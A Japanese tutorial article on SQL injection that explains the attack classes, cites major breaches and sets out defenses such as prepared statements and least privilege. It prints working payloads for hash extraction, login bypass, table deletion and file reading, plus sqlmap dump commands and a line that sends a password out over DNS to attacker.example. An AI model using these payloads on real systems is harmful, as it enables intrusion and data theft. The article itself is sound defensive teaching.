SQL インジェクションとは — 仕組み・代表的な攻撃手法・防御策 のサムネイル

SQL インジェクションとは — 仕組み・代表的な攻撃手法・防御策

⏱ 約 16 分 view 33 like 0 LOG_DATE:2026-05-29
目次 / TOC

SQL インジェクション (SQLi) は、ユーザ入力を SQL 文に直接連結することで、攻撃者が本来許されないクエリを DB に実行させる脆弱性。本質は 「データ」と「コード」が同じ文字列の中に同居していること。アプリは「ここはデータのつもり」で扱っていても、DB のパーサは構文として解釈してしまう。本稿では SQLi の 4 つの系統 (UNION / Blind / Time-based / Out-of-Band) / 認証バイパス・データ吸い出し・スタッククエリの実例 / TalkTalk・Heartland・MOVEit などの著名事件 / プリペアドステートメントを中心とした多層防御まで通しで扱う。

01

SQLi とは何か — データとコードの混在 #

SQL インジェクションの根本原因は、アプリが SQL 文を 文字列連結 で組み立てている点にある。

脆弱な実装例 — 文字列連結で SQL を組み立てる
// PHP — 典型的な悪い例 $id = $_GET['id']; $sql = "SELECT name, email FROM users WHERE id = " . $id; $result = mysqli_query($conn, $sql);

# 想定: ?id=42 → SELECT ... WHERE id = 42 # 攻撃: ?id=42 OR 1=1 → SELECT ... WHERE id = 42 OR 1=1 (全件返る)

id パラメータは「数値が入る場所」のつもりだが、DB から見れば 42 OR 1=1 という SQL の一部として解釈される。OR は SQL の予約語であり、攻撃者が文字列の中で「データの位置」を脱出して「コードの位置」に滑り込んだ。これが SQLi の正体。

▸ SQLi が成立した瞬間にできること

DB ユーザが持つ権限のすべてが攻撃者の手に渡る。多くの実装では (a) 全テーブルの読み取り、(b) パスワードハッシュの抜き取り、(c) UPDATE / DELETE による改竄、(d) LOAD_FILE / INTO OUTFILE による OS ファイル読み書き、(e) ストアドプロシージャ経由の OS コマンド実行 (MS SQL の xp_cmdshell 等) まで可能。

OWASP Top 10 における位置づけ #

SQLi は OWASP Top 10 の A03:2021 Injection の中心。1998 年に Rain Forest Puppy が公に紹介して以来 30 年近く、Web セキュリティの最重要トピックであり続けている。「フレームワークの ORM があれば防げる」と言われがちだが、whereRaw / DB::statement / N+1 回避のための生 SQL / レガシーシステム / 動的テーブル名・カラム名など、ORM の外側に出る瞬間はいくらでもある。

発生する箇所 #

SQLi の入口は HTML フォームだけではない。

  • URL クエリパラメータ (?id=...)
  • POST ボディ
  • HTTP ヘッダ (User-Agent, Referer, X-Forwarded-For などをログテーブルに INSERT する実装で頻発)
  • Cookie 値
  • JSON / XML / GraphQL の payload
  • ファイル名 (SELECT ... WHERE filename = '...' の実装)
  • WebSocket メッセージ

「ユーザの影響が到達するすべての文字列」が候補と考える。

02

SQLi の 4 系統 #

攻撃ペイロードが結果としてどう情報を引き出すかによって、SQLi は 4 系統に分類される。

In-Band — UNION ベース #

DB の応答が画面に出る場合、UNION SELECT で別テーブルの中身を結果セットに混ぜ込む。

UNION で users テーブルを抜く
# 元の SQL: SELECT title, body FROM posts WHERE id = ? # 攻撃ペイロード: ?id=1 UNION SELECT username, password_hash FROM users --

# DB が実際に流すクエリ: SELECT title, body FROM posts WHERE id = 1 UNION SELECT username, password_hash FROM users --

# 画面の「title / body」枠に user テーブルの中身が表示される

最速で情報を盗める方法。条件は (a) クエリの結果が画面に出ること、(b) カラム数を合わせられること、(c) コメント (-- # /* */) で末尾を無効化できること。

In-Band — Error ベース #

DB のエラーメッセージが画面に出る実装では、わざと型エラーを起こして「エラー文に DB の中身を含ませる」テクニックが効く。

MySQL — extractvalue でエラー本文に DB 名を吐かせる
?id=1 AND extractvalue(1, concat(0x7e, (SELECT database())))

# エラー: XPATH syntax error: '~mydb_production' # → エラー文にデータベース名が漏洩

「Error-based SQLi」と呼ばれる。本番でエラー詳細を画面に出すべきでない一番の理由がこれ。

Blind — Boolean ベース #

応答内容も DB エラーも返らない場合でも、**「真の時と偽の時で応答が変わる」**ことを使って 1 ビットずつ情報を引き出せる。

1 文字ずつパスワードハッシュを抜く
?id=1 AND substring((SELECT password FROM users WHERE id=1),1,1)='a' # → 真なら通常ページ、偽なら 404 / 空ページ

?id=1 AND substring((SELECT password FROM users WHERE id=1),1,1)='b' # → 1 文字目を 0-9, a-z で総当たり

人力では遅いが、sqlmap のような自動ツールが 1 文字あたり数 ms で抜く。

Blind — Time ベース #

応答が「真でも偽でも全く同じ」場合でも、SLEEP() で応答時間に差を出して情報を取れる。

条件付き SLEEP で 1 ビット抜く
?id=1 AND IF(substring((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0)

# 応答が 5 秒遅れたら 1 文字目は 'a' # 即応答なら別の文字 → 次を試す

pg_sleep() (PostgreSQL), WAITFOR DELAY (MS SQL), dbms_pipe.receive_message (Oracle) と DB ごとに方言がある。最も検知が難しい SQLi

Out-of-Band (OOB) #

応答に何も出ず時間差も出せない環境では、DB に外部通信させて情報を持ち出す。DNS リゾルバや HTTP リクエストに DB 名を混ぜて、攻撃者のサーバが受信する。

MS SQL — xp_dirtree で DNS 経由に情報を漏らす
; DECLARE @data varchar(1024); SELECT @data = (SELECT TOP 1 password FROM users); EXEC('master..xp_dirtree "\\' + @data + '.attacker.example\foo"');

# DNS リクエスト: hash_value.attacker.example が攻撃者の権威 DNS に届く

Burp Collaborator や独自の DNS リスナで受け取る。Blind すら難しい環境への最終手段。

03

攻撃の典型シナリオ #

認証バイパス — 最古典 #

ログインフォームを通り抜ける
// 脆弱なログイン処理 $sql = "SELECT * FROM users WHERE user='" . $u . "' AND pass='" . $p . "'";

# 攻撃: user: admin' -- pass: (なんでも)

# 実 SQL: SELECT * FROM users WHERE user='admin' -- ' AND pass='...' # パスワード条件はコメントアウトで消える → admin としてログイン成立

' OR '1'='1 系のペイロードは 1998 年から教科書に載っているが、レガシーシステムや独自フレームワークでは今でも刺さる。

データの一括吸い出し #

UNION SELECT でテーブル一覧 (information_schema.tables) → カラム名 (information_schema.columns) → 中身 (users, payment_cards, sessions 等) の順に系統的に抜く。sqlmap --dump-all で全自動化できる。

ファイル読み取り (LOAD_FILE) #

DB プロセスが OS ファイルを読める権限を持っている場合、LOAD_FILE('/etc/passwd') のような関数で OS ファイルを画面に引き出せる。設定ファイル・秘密鍵・アプリケーション設定 (.env 等) が露出する。

スタッククエリ (; 連結) による改竄 #

mysqli_multi_query や MS SQL のように複数文を 1 リクエストで実行できる API では、; DROP TABLE users; -- のような連結でテーブル破壊・データ改竄ができる。MySQL の標準 PHP API (PDO の prepare 付き等) では ; 連結は通らない点が救い。

OS コマンド実行へのエスカレーション #

DB が OS コマンドを叩ける機能を持つと、SQLi が即 RCE になる。

  • MS SQLxp_cmdshell (デフォルト無効化推奨)
  • PostgreSQLCOPY ... FROM PROGRAM (9.3+)
  • MySQL — UDF (User Defined Function) を INTO OUTFILE で書き込んでロード
  • Oracle — Java ストアド経由

実環境では SQLi 単体ではなく、SQLi → RCE → 内部横展開 → ランサム展開 という連鎖の入口になりがち。

04

攻撃のステップ — 攻撃者が辿る順序 #

実際の攻撃は次のフェーズを順に踏むことが多い。

1. 検出
' 一文字を入れて 500 エラー・DB エラー・応答差異が出るかを確認。' OR '1'='1 のような典型ペイロードで挙動変化を見る。
2. DBMS 特定
エラー文・関数の挙動 (VERSION() vs @@version vs SELECT banner) で MySQL / PostgreSQL / MS SQL / Oracle / SQLite を識別。攻撃の方言が変わる。
3. クエリ構造の把握
カラム数 (ORDER BY n を増やしてエラーになる境界)、データ型 (UNION SELECT NULL,NULL,... で互換確認) を測る。
4. スキーマ列挙
information_schema.tablescolumns でテーブル名・カラム名を取得。users, accounts, secrets 等を優先。
5. データ吸い出し
パスワードハッシュ・PII・カード情報・セッション ID を抽出。sqlmap --dump で自動化。
6. エスカレーション
権限が高ければ INTO OUTFILE で Web シェル設置、xp_cmdshell で RCE、横展開。ハッシュは別途オフラインで Hashcat。

sqlmap はこの 1〜5 をほぼ全自動で実行する。sqlmap -u "https://target/page?id=1" --batch --dump の 1 行で完結する状況も実在する。

05

著名な SQLi 事件 #

Heartland Payment Systems (2008) #

決済処理大手 Heartland が SQLi で約 1 億 3,400 万件のクレカ情報 を流出させた事件。攻撃者 Albert Gonzalez 氏 (TJX 事件の主犯と同一人物) は SQLi で内部ネットワークに侵入し、PIN パッドを傍受するスニファを設置。PCI DSS 認定を受けていたにも関わらず侵害が起き、業界に PCI 基準の限界を突きつけた。Heartland は罰金・賠償で総額 約 1 億 4,000 万ドル を支払った。

TalkTalk (2015) #

英国の通信大手 TalkTalk が SQLi で 約 16 万件の顧客データ (氏名・住所・生年月日・銀行口座情報含む) を流出させた。攻撃したのは 15 歳と 16 歳の少年 2 人 で、当時パッチ未適用だった既知の SQLi 脆弱性を sqlmap で突いた。情報コミッショナーオフィス (ICO) は £400,000 の罰金を科し、これは当時の英国 DPA 違反としては過去最大。CEO Dido Harding の辞任にもつながった。

Sony Pictures (2011) #

Sony Pictures のサイトに SQLi で侵入した LulzSec が、100 万件以上のユーザ ID・パスワード・住所・誕生日を平文で流出。「クッキー数枚で叩ける程度の SQLi」だったと攻撃者自身が公開し、企業のセキュリティ姿勢への大規模な批判と「LulzSec Summer of Lulz」と呼ばれる連続攻撃の口火となった。

MOVEit Transfer (2023) #

これは厳密には SQLi 単独ではなく、progress.ipsworks.moveit.* の SQLi 脆弱性 (CVE-2023-34362) を起点とした CL0P ランサムグループ によるサプライチェーン攻撃。2,700 社以上 / 9,000 万人以上 の個人情報が漏洩した、過去最大規模の SQLi 系インシデント。米連邦政府・州政府・大手金融・大学・医療機関を巻き込み、被害総額は推定 150 億ドル超。SQLi が現代でも巨大な脅威であることの最新の証左。

教訓 #

これらに共通するのは、SQLi は「20 年前のレガシー脆弱性」ではなく、現代の大規模サプライチェーン攻撃の起点になり得る こと。1 社の DB を抜くだけで、その下流の数千社が連鎖被害を受ける構造になっている。

06

防御策 — 多層防御 #

SQLi 対策の根本は 「ユーザ入力を SQL の構文として絶対に解釈させない」 こと。これを実現する手段がプリペアドステートメントであり、それ以外は補助でしかない。

プリペアドステートメント (パラメータ化クエリ) — 最重要 #

SQL 構文を先に DB に送り、後からデータをバインドする。データ位置に何が入っても 構文として再解釈されない のが本質。

PHP PDO — 正しい書き方
$stmt = $pdo->prepare("SELECT name, email FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]); $user = $stmt->fetch();

# ?id=42 OR 1=1 を渡しても、文字列 "42 OR 1=1" として WHERE id = に流れる # DB は構文ではなく値として扱うので攻撃不成立

言語 / FW 安全な書き方
PHP PDO::prepare + execute([$param])
Laravel Eloquent / Query Builder (自動でバインド)
Node.js mysql2/pg のプレースホルダ ? または $1
Python cursor.execute(sql, (param,)) (%s プレースホルダ)
Java PreparedStatement + setString / setInt
Go db.Query("... WHERE id = ?", id)
.NET SqlCommand + Parameters.AddWithValue
▸ 「sprintf でエスケープ」は対策にならない

mysqli_real_escape_string を通してから sprintf」は SQLi 対策ではない。文字列の中のクォートしかエスケープしないので、数値カラムをクォートなしで連結すれば即攻撃可能。プリペアドが「データを SQL から分離する」のと根本的に異なる。

動的識別子 (テーブル名・カラム名) の扱い #

プリペアドステートメントはあくまで「値」のバインド機構。識別子 (テーブル名・カラム名・ORDER BY 列・ASC/DESC) はバインドできない。動的にしたい場合は、ホワイトリスト方式 で許可された名前のみ通す。

ORDER BY を動的にする場合のホワイトリスト
$allowed = ['created_at', 'name', 'price']; $column = in_array($_GET['sort'], $allowed) ? $_GET['sort'] : 'created_at'; $sql = "SELECT * FROM products ORDER BY " . $column;

最小権限の原則 #

アプリが使う DB ユーザに「アプリが必要とする最小限の権限」だけを与える。

  • 一般 Web ロールに DROP, ALTER, FILE, CREATE USER などの DDL / 管理権限を与えない
  • INTO OUTFILE / LOAD_FILE を禁止 (FILE 権限を剥奪)
  • xp_cmdshell のような OS コマンド機能をデフォルト無効化
  • 読み取り専用画面では SELECT 専用ロールを使う
  • 異なるアプリケーションを 別 DB ユーザ で分離

最小権限は SQLi を防がないが、SQLi が成功した時の被害を最小化する最重要の追加防御。

WAF (Web Application Firewall) #

Cloudflare / AWS WAF / ModSecurity などが既知の SQLi パターンをリクエストレベルで弾く。根本対策ではない (/**/ コメント挿入、Unicode エスケープ、HTTP Parameter Pollution などで頻繁に回避される) が、ゼロデイへの時間稼ぎとしては有効。

エラーメッセージの制御 #

本番では DB エラーメッセージをユーザに返さない。Laravel なら APP_DEBUG=false、PHP なら display_errors=Off.NET なら customErrors mode="On"。エラーログにはスタックトレースを残し、画面には汎用 500 ページを返す。Error-based SQLi の攻撃面を物理的に塞ぐ。

入力バリデーション #

「数値カラムは数値しか受け付けない」「メールアドレスは形式バリデーション」「列挙値はホワイトリスト」など、意味的に許容する範囲だけ通す。プリペアドの上にさらに 1 層重ねる補助防御。

SAST / コードレビュー #

Semgrep / CodeQL / SonarQube などの静的解析で「文字列連結による SQL 構築」を機械検出する。フレームワーク非標準の「生 SQL を書く API」(Laravel の whereRaw、TypeORM の query 等) の呼び出し箇所を grep して集中レビューするのが現実的。

▸ 「生 SQL」キーワードを grep するだけで 9 割発見できる

大半の SQLi は非標準 API の使用箇所に集中するgrep -rn 'whereRaw\|DB::statement\|DB::raw\|mysqli_query\|exec(.*SQL' で全件洗い出してレビューすれば、自動エスケープを使ってる現代スタックの SQLi は 9 割落ちる。

ORM の限界 #

Eloquent / ActiveRecord / TypeORM 等の ORM は SQLi 対策の主力だが、「メソッドにユーザ入力を直接渡す」と防げない箇所がある。

危険
whereRaw($input) whereRaw($request->q) は丸ごと SQL に流す
orderByRaw 同上、ORDER BY の構文を組み立てる
selectRaw カラム式を生で渡す
DB::statement 任意の SQL を実行
動的テーブル名 Model::from($input)

これらは「便利な抜け道」として用意されているが、ユーザ入力をそのまま渡すと SQLi が直撃する。

07

テストと検出 #

手動テスト #

最小の試験ペイロード:

SQLi 検出に最初に投げる文字列
' # シングルクォート単体 — 500 / エラーが出るか " # ダブルクォート ' OR '1'='1 # 認証バイパス古典 ' OR 1=1 -- # コメント終端 1 AND SLEEP(5) -- # Time-based 1; WAITFOR DELAY '0:0:5' -- # MS SQL Time-based

応答内容・応答時間・HTTP ステータスのいずれかに変化が出れば SQLi の疑い。

自動ツール #

  • sqlmap — SQLi 検出/抽出の事実上の標準 OSS。Web フォーム・REST API・GraphQL に対応
  • Burp Suite Pro Scanner — 商用、検出精度が高い
  • OWASP ZAP — OSS の動的スキャナ
  • NoSQLi 系 (NoSQLMap) — MongoDB などへの NoSQLi 検査

sqlmap -u "https://target/path?id=1" --batch --random-agent --level=3 --risk=2 のような起動が定番。

静的解析 (SAST) #

  • Semgreptaint-mode で「ユーザ入力 → SQL 構築」のデータフローを追える
  • CodeQL — GitHub の SAST。js/sql-injection, python/sql-injection クエリが標準
  • SonarQube — 商用、各種ルール内蔵

CI に組み込んで PR 時点で検出するのが現実的。

本番ログ監視 #

WAF / DB プロキシで UNION SELECT, SLEEP(, information_schema, xp_cmdshell, LOAD_FILE などのキーワードを検知してアラート。攻撃の偵察フェーズで気付ける可能性が高い。

08

関連する派生・誤解 #

攻撃 関係
NoSQL Injection MongoDB / Redis / Elasticsearch などのクエリ言語にも同型の脆弱性がある。{$gt: ""} 型のオブジェクト注入や JS 評価関数 ($where) が代表的
ORM Injection ORM が裏で SQL を生成する過程で、ユーザ入力がメソッド引数 (filter, where) として渡るときの脆弱性。whereRaw 系が典型
LDAP Injection LDAP クエリへの注入。*)(uid=* のような形でフィルタを書き換える
XPath Injection XML を解析するアプリへの注入。SQLi と類似
Server-Side Template Injection (SSTI) テンプレートエンジン (Jinja2, Twig 等) へのコード注入。SQLi と同じ「データとコードの混在」問題の別フレーバー

「ORM を使ってるから SQLi はない」「NoSQL は SQLi がない」はどちらも誤り。問題は構文と値の分離であって、SQL かどうかではない。

09

まとめ — 開発者が押さえる 6 項目 #

SQLi は 30 年近く前から知られている脆弱性だが、MOVEit 事件 (2023) が示すように現代でも最大級の脅威であり続けている。文字列連結を一切やめ、最小権限と組み合わせて多層に守るのが現実的な解。

▸ 開発者が最低限押さえる 6 項目
  • プリペアドステートメント / ORM で値と構文を分離する (例外なく)
  • 動的識別子 (テーブル名・ORDER BY) はホワイトリストで許可
  • アプリ DB ユーザに最小権限のみ付与 (DDL / FILE / 管理権限を剥奪)
  • 本番でDB エラーメッセージを表示しない (Error-based の攻撃面を物理削除)
  • whereRaw / DB::statement 等の抜け穴を grepでレビュー
  • CI に SAST (Semgrep / CodeQL) を組み込んで PR で検出

OWASP Top 10 で 30 年居座り続けている理由は、対策が難しいからではなく、「文字列連結が直感的に楽だから」というだけ。プリペアドを使う習慣を組織に植えれば、SQLi は防げる脆弱性である。